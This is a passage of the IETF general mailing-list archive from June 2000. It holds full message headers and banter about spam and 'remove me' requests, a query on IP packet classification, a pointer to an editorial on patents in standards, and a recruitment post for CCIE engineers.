	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 16:00:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09858
	for <ietf@ietf.org>; Mon, 12 Jun 2000 15:51:45 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id MAA29973
	for <ietf@ietf.org>; Mon, 12 Jun 2000 12:51:15 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <MZR005VX>; Mon, 12 Jun 2000 19:50:30 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D26C@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: ietf@ietf.org
Subject: RE: "Big 5" Company  SPAMMING
Date: Mon, 12 Jun 2000 19:50:41 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



->-----Original Message-----
->From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
->Sent: Monday, June 12, 2000 3:16 PM
->To: ietf@ietf.org
->Subject: RE: "Big 5" Company SPAMMING
->
->
->Actually replying to spam just informs the spammers they have good
->addresses...plus since the e-mailed the list, they don't have your
->individual e-mail addresses, but they will if you respond to them.
->

Actually, they can get the individual email addy... as long
as they join the list... and then email majordemo.. with the request !

/pd



From owner-ietf-outbound  Mon Jun 12 16:10:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA10250
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 16:10:02 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09886
	for <ietf@ietf.org>; Mon, 12 Jun 2000 15:52:45 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id OAA11366
	for <ietf@ietf.org>; Mon, 12 Jun 2000 14:50:38 -0500 (CDT)
Message-Id: <200006121950.OAA11366@rgfsparc.cr.usgs.gov>
Date: Mon, 12 Jun 2000 14:50:38 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: Re: remove me from list 
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: KEXh9ZLieK5vdl/3K31miw==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

>On Mon, 12 Jun 2000 07:14:45 CDT, Honey Rand <honey@comsols4u.com>  said:
>> I am on one of your e-mail lists. i promise i will NEVER buy anything from
>> you. Please remove me immediately or i will forward the e-mail to the
>> appropriate agency for pursuit as nuisance spam. This is the second request
>> I have made.
>
>The IETF sells stuff?  News to me... I thought we just had flame wars and
>occasionally went into feline-emulation mode and cough up a hairb^H^H^H^H^HRFC.

Well, she didn't actually say we *sold* stuff.  She just said that she wouldn't 
buy anything from us.  Heck, neither would I. 

As to forwarding it to the "appropriate agency for pursuit...,"  gooooood luck.  
If you find one that does any sort of pursuit, let me know, would you?

RGF

Robert G. Ferrell, CISSP
Information Systems Security Officer
National Business Center, US DoI
Robert_G_Ferrell@nbc.gov
------------------------------------------------------------
Not an official statement by any entity of the US Government
------------------------------------------------------------



From owner-ietf-outbound  Mon Jun 12 16:20:32 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA10405
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 16:20:01 -0400 (EDT)
Received: from ex1.clearaccess.net ([204.214.6.251])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10290
	for <ietf@ietf.org>; Mon, 12 Jun 2000 16:11:07 -0400 (EDT)
Received: by EX1 with Internet Mail Service (5.5.1960.3)
	id <MRRKWJY3>; Mon, 12 Jun 2000 16:06:05 -0400
Message-ID: <818BD117E43BD4118A7A0008C7CF9C3102BD5E@EX1>
From: Scot Mc Pherson <smcpherson@clearaccess.net>
To: "'Dawson, Peter D'" <Dawson.Peter@emeryworld.com>, ietf@ietf.org
Subject: RE: "Big 5" Company  SPAMMING
Date: Mon, 12 Jun 2000 16:06:04 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
X-Loop: ietf@ietf.org

True, but let them do the work...don't do it for them=)

-Scot Mc Pherson
-N2UPA
-RF Engineer
-ClearAccess Communications
-http://www.clearaccess.net
-mailto:smcpherson@clearaccess.net 

-----Original Message-----
From: Dawson, Peter D [mailto:Dawson.Peter@emeryworld.com]
Sent: Monday, June 12, 2000 3:51 PM
To: ietf@ietf.org
Subject: RE: "Big 5" Company SPAMMING




->-----Original Message-----
->From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
->Sent: Monday, June 12, 2000 3:16 PM
->To: ietf@ietf.org
->Subject: RE: "Big 5" Company SPAMMING
->
->
->Actually replying to spam just informs the spammers they have good
->addresses...plus since the e-mailed the list, they don't have your
->individual e-mail addresses, but they will if you respond to them.
->

Actually, they can get the individual email addy... as long
as they join the list... and then email majordemo.. with the request !

/pd



From owner-ietf-outbound  Mon Jun 12 17:00:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA11097
	for ietf-outbound.10@ietf.org; Mon, 12 Jun 2000 17:00:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10933
	for <ietf@ietf.org>; Mon, 12 Jun 2000 16:51:12 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id NAA09039
	for <ietf@ietf.org>; Mon, 12 Jun 2000 13:50:42 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <MZR007KK>; Mon, 12 Jun 2000 20:49:58 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D26F@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: ietf@ietf.org
Subject: RE: remove me from list 
Date: Mon, 12 Jun 2000 20:50:08 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



->-----Original Message-----
->From: Robert G. Ferrell [mailto:root@rgfsparc.cr.usgs.gov]
->Sent: Monday, June 12, 2000 3:51 PM
->To: ietf@ietf.org
->Subject: Re: remove me from list 
->

<SNIP..>

->
->As to forwarding it to the "appropriate agency for 
->pursuit...,"  gooooood luck.  
->If you find one that does any sort of pursuit, let me know, would you?

yeah.. just post back onto the list ! :) 
THAT info is really welcome !!

/pd



From owner-ietf-outbound  Tue Jun 13 04:30:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA00641
	for ietf-outbound.10@ietf.org; Tue, 13 Jun 2000 04:30:02 -0400 (EDT)
Received: from ws9.cdotb.ernet.in ([202.41.72.121])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00608
	for <ietf@ietf.org>; Tue, 13 Jun 2000 04:27:28 -0400 (EDT)
Received: from localhost (s_srini@localhost)
	by ws9.cdotb.ernet.in (8.9.3/8.9.3) with SMTP id NAA00833
	for <ietf@ietf.org>; Tue, 13 Jun 2000 13:52:10 +0500 (GMT+0500)
Date: Tue, 13 Jun 2000 13:52:10 +0500 (GMT+0500)
From: srini <s_srini@cdotb.ernet.in>
To: ietf@ietf.org
Subject: Packet Classifiers and Filters
Message-ID: <Pine.OSF.3.96.1000613135014.11831B-100000@ws9.cdotb.ernet.in>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org



Hai,

I would like to get info on IP Packet classification and filtering, can 
anybody help?

 Thanx,
 
 -srini

#  
# S Srinivasan (Research Engineer)
# ATM Group
# 4th floor
# Sneha Complex
# Centre for Development of Telematics
# 71/1 MillerRoad, Bangalore 560052, INDIA
# E-mail : s_srini@cdotb.ernet.in
# Phone  : +91-80-2263399 ext 279/364/343
#  

 



From owner-ietf-outbound  Tue Jun 13 04:50:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA00843
	for ietf-outbound.10@ietf.org; Tue, 13 Jun 2000 04:50:03 -0400 (EDT)
Received: from mail2.nhs.uk (mail2.nhs.uk [194.72.23.227])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00814
	for <ietf@ietf.org>; Tue, 13 Jun 2000 04:47:06 -0400 (EDT)
From: Jeri.Coates@EMAIL.TEES-HA.NORTHY.NHS.UK
Received: from (relay3.nhs.uk) [194.62.42.123] 
	by mail2.nhs.uk with esmtp (MultiThread MTA)
	id 131mLi-00025o-00; Tue, 13 Jun 2000 09:47:06 +0100
Received: from img4.nhs.uk ([194.62.42.15]) by relay3.nhs.uk  with ESMTP id JAA01671; Tue, 13 Jun 2000 09:43:23 +0100 (BST)
Received: by img4.nhs.uk (NPlex 2.0.108); 13 Jun 2000 09:44:45 +0100
X-DSN-ENVID: X400-MTS-Identifier:+20[/PRMD+3DNHS+20N+20AND+20Y+20HN/ADMD+3DNHS/C+3DGB;TEESEX01-000613084156Z-1720]
X400-Received: by /PRMD=NHS NATIONAL INT/ADMD=NHS/C=GB; relayed; 13 Jun 2000 09:44:45 +0100
To: kurt@servuhome.net, kurt@servuhome.net
cc: ietf@ietf.org
Subject: RE: remove me from list 
X400-MTS-Identifier: [/PRMD=NHS N AND Y HN/ADMD=NHS/C=GB;TEESEX01-000613084156Z-1720]
Message-Id: <"/GUID:DAE141CC5A40D41181070008C71E3B0A"@MHS>
Date: 13 Jun 2000 09:44:45 +0100
Importance: normal
Autoforwarded: false
X-Priority: 3 (Normal)
X-Loop: ietf@ietf.org

>To be perfectly honest, I think we're just dealing with someone who just
>doesn't know what they're talking about.  Probably an AOLuser.

>Regards,
>Kurt Weber
>kurt@rowsw.com
>ROOT of All Evil (ask me for details)
>LONG LIVE LINUX! KILL WINBLOWS!
>God of local.linux-isp and alt.syntax.tactical

I'll stop lurking for just a minute......

Don't know if you'll be disappointed, but it appears you may actually
be dealing with a guy named Jim Randall (honey99) or one of the
employees (who is probably not named "Honey") at Communications
Solutions in Tampa Bay, FL. Their site seems to be specifically set up
for the "Red Team" (?) to enter into a moderated discussion group. 
Afraid I couldn't find out what the group's discussing, though, because
the content is held on a server on a private network at Hope College in 
Holland, Michigan and I just don't trust the fates enough to follow those
links on line. At least Communications Solutions seems to have a Red 
Hat server so even if you *have* been present at the birth of a baby
spammer, at least it may be one with a redeeming virtue.:-)

Do I get a vote? If I get a vote, I vote for the disused-mail-list-gazillion-
email-address option for the next proven spammer.


Regards.

Jeri
--------------------------------------------------------------------------------------
Opinions expressed are always my own and may not necessarily
reflect those of any organisation I am associated with.

I say NO to unsolicited commercial email by supporting EuroCAUCE.
http://www.euro.cauce.org/en/index.html




From owner-ietf-outbound  Tue Jun 13 06:00:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA01286
	for ietf-outbound.10@ietf.org; Tue, 13 Jun 2000 06:00:02 -0400 (EDT)
Received: from mail.ubn.nl (mail.ubn.nl [194.151.95.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01259
	for <ietf@ietf.org>; Tue, 13 Jun 2000 05:56:07 -0400 (EDT)
Received: from ubn005s.UBN-NL (ms-exchange [194.22.26.3])
	by mail.ubn.nl (8.8.6/8.8.6) with ESMTP id LAA11481;
	Tue, 13 Jun 2000 11:56:53 +0200 (MET DST)
Received: by ubnnlgvpbnt01.ubn-nl with Internet Mail Service (5.5.2448.0)
	id <L8W1CJDQ>; Tue, 13 Jun 2000 11:56:43 +0200
Message-ID: <2E7A7F3C4F68D311910900805FA7168E81C041@ubn001v3.ubn-nl>
From: "Connelly, M " <m.connelly@kpn.com>
To: "'Jeri.Coates@email.tees-ha.northy.nhs.uk'"
	 <Jeri.Coates@EMAIL.TEES-HA.NORTHY.NHS.UK>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: AW: remove me from list 
Date: Tue, 13 Jun 2000 11:56:45 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
X-Loop: ietf@ietf.org

One spam, followed by 99 postings discussing spam. And your answer - spam!
Fight spam with spam, spam and more spam.  Is this really a relevant
discussion for the IETF (this email included)?

- Michael Connelly

What are these singing Vikings doing here?


> ----------
> Van:
> Jeri.Coates@email.tees-ha.northy.nhs.uk[SMTP:Jeri.Coates@email.tees-ha.nor
> thy.nhs.uk]
> Verzonden: 	dinsdag 13 juni 2000 10:44
> Aan: 	kurt@servuhome.net; kurt@servuhome.net
> CC: 	ietf@ietf.org
> Onderwerp: 	RE: remove me from list 
> 
> >To be perfectly honest, I think we're just dealing with someone who just
> >doesn't know what they're talking about.  Probably an AOLuser.
> 
> >Regards,
> >Kurt Weber
> >kurt@rowsw.com
> >ROOT of All Evil (ask me for details)
> >LONG LIVE LINUX! KILL WINBLOWS!
> >God of local.linux-isp and alt.syntax.tactical
> 
> I'll stop lurking for just a minute......
> 
> Don't know if you'll be disappointed, but it appears you may actually
> be dealing with a guy named Jim Randall (honey99) or one of the
> employees (who is probably not named "Honey") at Communications
> Solutions in Tampa Bay, FL. Their site seems to be specifically set up
> for the "Red Team" (?) to enter into a moderated discussion group. 
> Afraid I couldn't find out what the group's discussing, though, because
> the content is held on a server on a private network at Hope College in 
> Holland, Michigan and I just don't trust the fates enough to follow those
> links on line. At least Communications Solutions seems to have a Red 
> Hat server so even if you *have* been present at the birth of a baby
> spammer, at least it may be one with a redeeming virtue.:-)
> 
> Do I get a vote? If I get a vote, I vote for the
> disused-mail-list-gazillion-
> email-address option for the next proven spammer.
> 
> 
> Regards.
> 
> Jeri
> --------------------------------------------------------------------------
> ------------
> Opinions expressed are always my own and may not necessarily
> reflect those of any organisation I am associated with.
> 
> I say NO to unsolicited commercial email by supporting EuroCAUCE.
> http://www.euro.cauce.org/en/index.html
> 
> 



From owner-ietf-outbound  Tue Jun 13 23:30:41 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA29197
	for ietf-outbound.10@ietf.org; Tue, 13 Jun 2000 23:30:02 -0400 (EDT)
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA29149
	for <ietf@ietf.org>; Tue, 13 Jun 2000 23:25:15 -0400 (EDT)
Received: from [165.227.249.13] (ip13.proper.com [165.227.249.13])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id UAA29353
	for <ietf@ietf.org>; Tue, 13 Jun 2000 20:25:44 -0700 (PDT)
Mime-Version: 1.0
X-Sender: phoffman@mail.imc.org
Message-Id: <p04320315b56caa68e8fc@[165.227.249.13]>
Date: Tue, 13 Jun 2000 20:25:13 -0700
To: ietf@ietf.org
From: Paul Hoffman / IMC <phoffman@IMC.ORG>
Subject: Interesting article on patents and standards
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

A recent editorial in Microprocessor Report (a pricey but very useful 
newsletter) covers an interesting patent tussle in the RAM market. It 
is relevant to the IETF process in that the features that were 
patented were put into the standards process while the patent owner 
silently moved the patent forwards, something we have seen here. The 
editorial, titled "Ethical Standards", can be found at 
<http://www.mpronline.com/mpr_public/editorials/edit14_17.html>.

--Paul Hoffman, Director
--Internet Mail Consortium



From owner-ietf-outbound  Wed Jun 14 09:30:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA19776
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 09:30:03 -0400 (EDT)
Received: from gadolinium (gadolinium.btinternet.com [194.73.73.111])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19517
	for <ietf@ietf.org>; Wed, 14 Jun 2000 09:22:47 -0400 (EDT)
Received: from [62.7.112.106] (helo=patonmj)
	by gadolinium with smtp (Exim 3.03 #16)
	id 132D7y-0003GD-00
	for ietf@ietf.org; Wed, 14 Jun 2000 14:22:43 +0100
From: "mark.paton" <mark.paton@btinternet.com>
To: "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: CCIE
Date: Wed, 14 Jun 2000 14:25:57 +0100
Message-ID: <NCBBINIKLKLJEEDCGLOAKEHDCGAA.mark.paton@btinternet.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0003_01BFD60C.74A86D90"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4029.2901
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0003_01BFD60C.74A86D90
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Forgive this spam, but I am looking for 7 CCIE's
for locations in London, Silicon Valley,
California and Tokyo.  Anyone interested please
email me back and I will forward your details to
HR.

Many thanks

Regards

Mark Paton CEO/DIR. Internet Network Eng
Mercury Network Systems Limited
+44 585 649051
+44 1256 761925
http://www.mnsl.org

"Mercury Network Systems - The Unstoppable Force"

This e-mail is intended only for the addressee
named above. As this e-mail may contain
confidential or privileged information if you are
not, or suspect that you are not, the named
addressee or the person responsible for delivering
the message to the named addressee, please
telephone us immediately. Please note that we
cannot guarantee that this message or any
attachment is virus free or has not been
intercepted and amended.


The views of the author may not necessarily
reflect those of the Company.

------=_NextPart_000_0003_01BFD60C.74A86D90
Content-Type: text/x-vcard;
	name="Mark. J.S Paton.vcf"
Content-Disposition: attachment;
	filename="Mark. J.S Paton.vcf"
Content-Transfer-Encoding: quoted-printable

BEGIN:VCARD
VERSION:2.1
N:Paton;Mark.;J.S;;
FN:Mark. J.S Paton
ORG:Mnsl;Consultancy
TITLE:Network Design / Support
TEL;WORK;VOICE:+44 0585 649051
TEL;CELL;VOICE:+44 (0585) 649051
ADR;WORK;ENCODING=3DQUOTED-PRINTABLE:;Basingstoke;Willow =
Cottage=3D0D=3D0AReading Road;Mattingley;Hampshire;RG27 8JU;=3D
United Kingdom
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:Basingstoke=3D0D=3D0AWillow =
Cottage=3D0D=3D0AReading Road=3D0D=3D0AMattingley, Hampshire=3D
 RG27 8JU=3D0D=3D0AUnited Kingdom
URL:
URL:http://www.mnsl.org
EMAIL;PREF;INTERNET:mark.paton@mnsl.org
REV:19990422T133901Z
END:VCARD

------=_NextPart_000_0003_01BFD60C.74A86D90--



From owner-ietf-outbound  Wed Jun 14 10:20:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA21519
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 10:20:03 -0400 (EDT)
Received: from gwa2.fe.bosch.de (gwa2.fe.bosch.de [194.39.218.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21477
	for <ietf@ietf.org>; Wed, 14 Jun 2000 10:19:37 -0400 (EDT)
Received: (from uucp@localhost)
	by gwa2.fe.bosch.de (8.9.1/8.9.1) id OAA02327
	for <ietf@ietf.org>; Wed, 14 Jun 2000 14:19:07 GMT
Received: from fez8020.fe.bosch.de(virus-out2.fe.internet.bosch.de 10.4.4.20) by gwa2.fe.bosch.de via smap (V2.1)
	id xma001807; Wed, 14 Jun 00 14:18:29 GMT
Received: by fez7202.server.bosch.de with Internet Mail Service (5.5.2651.58)
	id <M7GJ4LJZ>; Wed, 14 Jun 2000 16:18:24 +0200
Message-ID: <EF0BBE069A12D41197B700508B65098E0BCD14@bkmail04.bk.bosch.de>
From: "Feigel Reinhold (MC-AC/WES1)" <Reinhold.Feigel@marconi.com>
To: "Ietf@Ietf. Org" <ietf@ietf.org>,
        "'mark.paton'"
	 <mark.paton@BTINTERNET.COM>
Subject: AW: CCIE
Date: Wed, 14 Jun 2000 16:18:05 +0200
Return-Receipt-To: "Feigel Reinhold (MC-AC/WES1)"
	 <Reinhold.Feigel@marconi.com>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2651.58)
Content-Type: text/plain
X-Loop: ietf@ietf.org

Forgive this spam again: I have got a large position of high quality wooden
coffins, and anyone recently died should contact for an immedate delivery
(having in mind the high summer temperature!).

To be honest, is there no way to prevent all the subscribers of this list
from become overloaded with such rubbish?  Probably no technical
possibility. Eventualy by overloading the capacity of the originating
computer by addressing hundreds of mails to it? I for myself would
appreciate if all subscriber agree not to answer such mails, just to ignore
and delete them without having read.

Reinhold 

> ----------
> Von: 	mark.paton[SMTP:mark.paton@BTINTERNET.COM]
> Gesendet: 	Mittwoch, 14. Juni 2000 15:25
> An: 	Ietf@Ietf. Org
> Betreff: 	CCIE
> 
> <<Datei: Mark. J.S Paton.vcf>>
> Forgive this spam, but I am looking for 7 CCIE's
> for locations in London, Silicon Valley,
> California and Tokyo.  Anyone interested please
> email me back and I will forward your details to
> HR.
> 
> Many thanks
> 
> Regards
> 
> Mark Paton CEO/DIR. Internet Network Eng
> Mercury Network Systems Limited
> +44 585 649051
> +44 1256 761925
> http://www.mnsl.org
> 
> "Mercury Network Systems - The Unstoppable Force"
> 
> This e-mail is intended only for the addressee
> named above. As this e-mail may contain
> confidential or privileged information if you are
> not, or suspect that you are not, the named
> addressee or the person responsible for delivering
> the message to the named addressee, please
> telephone us immediately. Please note that we
> cannot guarantee that this message or any
> attachment is virus free or has not been
> intercepted and amended.
> 
> 
> The views of the author may not necessarily
> reflect those of the Company.
> 



From owner-ietf-outbound  Wed Jun 14 11:00:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA24143
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 11:00:02 -0400 (EDT)
Received: from faatcrl.tc.faa.gov (faatcrl.faa.gov [155.178.252.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA23863
	for <ietf@ietf.org>; Wed, 14 Jun 2000 10:53:43 -0400 (EDT)
Received: from BELLOPEM ([172.26.208.2])
	by faatcrl.tc.faa.gov (8.8.8/8.8.8) with SMTP id KAA02458;
	Wed, 14 Jun 2000 10:52:04 -0400 (EDT)
From: "Michael B. Bellopede" <Michael.CTR.Bellopede@tc.faa.gov>
To: "Feigel Reinhold \(MC-AC/WES1\)" <Reinhold.Feigel@marconi.com>,
        "Ietf@Ietf. Org" <ietf@ietf.org>,
        "'mark.paton'" <mark.paton@BTINTERNET.COM>
Subject: RE: CCIE
Date: Wed, 14 Jun 2000 10:49:20 -0400
Message-ID: <PPECLLOGBEPHLOMKLNAMMEOPCBAA.Michael.CTR.Bellopede@tc.faa.gov>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <13163@tc.faa.gov>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Cedar or Oak?  I'd like the GT model please

-Michael B. Bellopede
 Michael.CTR.Bellopede@tc.faa.gov

-----Original Message-----
From: Feigel Reinhold (MC-AC/WES1) [mailto:Reinhold.Feigel@marconi.com]
Sent: Wednesday, June 14, 2000 4:18 PM
To: Ietf@Ietf. Org; 'mark.paton'
Subject: AW: CCIE


Forgive this spam again: I have got a large position of high quality wooden
coffins, and anyone recently died should contact for an immedate delivery
(having in mind the high summer temperature!).

To be honest, is there no way to prevent all the subscribers of this list
from become overloaded with such rubbish?  Probably no technical
possibility. Eventualy by overloading the capacity of the originating
computer by addressing hundreds of mails to it? I for myself would
appreciate if all subscriber agree not to answer such mails, just to ignore
and delete them without having read.

Reinhold 

> ----------
> Von:  mark.paton[SMTP:mark.paton@BTINTERNET.COM]
> Gesendet:     Mittwoch, 14. Juni 2000 15:25
> An:   Ietf@Ietf. Org
> Betreff:      CCIE
> 
> <<Datei: Mark. J.S Paton.vcf>>
> Forgive this spam, but I am looking for 7 CCIE's
> for locations in London, Silicon Valley,
> California and Tokyo.  Anyone interested please
> email me back and I will forward your details to
> HR.
> 
> Many thanks
> 
> Regards
> 
> Mark Paton CEO/DIR. Internet Network Eng
> Mercury Network Systems Limited
> +44 585 649051
> +44 1256 761925
> http://www.mnsl.org
> 
> "Mercury Network Systems - The Unstoppable Force"
> 
> This e-mail is intended only for the addressee
> named above. As this e-mail may contain
> confidential or privileged information if you are
> not, or suspect that you are not, the named
> addressee or the person responsible for delivering
> the message to the named addressee, please
> telephone us immediately. Please note that we
> cannot guarantee that this message or any
> attachment is virus free or has not been
> intercepted and amended.
> 
> 
> The views of the author may not necessarily
> reflect those of the Company.
> 




From owner-ietf-outbound  Wed Jun 14 12:00:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA26088
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 12:00:03 -0400 (EDT)
Received: from roam.psg.com (nanog19-8-55.nanog.ihighway.net [64.46.8.55])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA25976
	for <ietf@ietf.org>; Wed, 14 Jun 2000 11:55:11 -0400 (EDT)
Received: from randy by roam.psg.com with local (Exim 3.12 #1)
	id 132FVV-0000d8-00; Wed, 14 Jun 2000 09:55:09 -0600
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: "mark.paton" <mark.paton@btinternet.com>
Cc: "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: Re: CCIE
References: <NCBBINIKLKLJEEDCGLOAKEHDCGAA.mark.paton@btinternet.com>
Message-Id: <E132FVV-0000d8-00@roam.psg.com>
Date: Wed, 14 Jun 2000 09:55:09 -0600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> Forgive this spam, but I am looking for 7 CCIE's
> for locations in London, Silicon Valley,
> California and Tokyo.

i can not find an rfc for "CCIE."  what is one, some kind of can opener?

randy



From owner-ietf-outbound  Wed Jun 14 12:20:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA26843
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 12:20:04 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26617
	for <ietf@ietf.org>; Wed, 14 Jun 2000 12:11:39 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5EGBXL24812;
	Wed, 14 Jun 2000 12:11:33 -0400
Message-Id: <200006141611.e5EGBXL24812@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.2 06/07/2000
To: Randy Bush <randy@psg.com>
Cc: "mark.paton" <mark.paton@btinternet.com>, "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: Re: CCIE 
In-Reply-To: Your message of "Wed, 14 Jun 2000 09:55:09 MDT."
             <E132FVV-0000d8-00@roam.psg.com> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <NCBBINIKLKLJEEDCGLOAKEHDCGAA.mark.paton@btinternet.com>
            <E132FVV-0000d8-00@roam.psg.com>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1467360032P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Wed, 14 Jun 2000 12:11:32 -0400
X-Loop: ietf@ietf.org

--==_Exmh_1467360032P
Content-Type: text/plain; charset=us-ascii

On Wed, 14 Jun 2000 09:55:09 MDT, Randy Bush said:
> > Forgive this spam, but I am looking for 7 CCIE's
> > for locations in London, Silicon Valley,
> > California and Tokyo.
> i can not find an rfc for "CCIE."  what is one, some kind of can opener?

Given the locations, it must be some I18N standard. ;)


-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech


--==_Exmh_1467360032P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.1.2 06/07/2000

iQA/AwUBOUeutHAt5Vm009ewEQJOZwCeJP96bjxHIup51/OnqTDIzGKP7zYAnRur
gjKLjXHhm9EcqHwlqqzd2dxg
=uDAp
-----END PGP SIGNATURE-----

--==_Exmh_1467360032P--



From owner-ietf-outbound  Wed Jun 14 12:30:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA27225
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 12:30:03 -0400 (EDT)
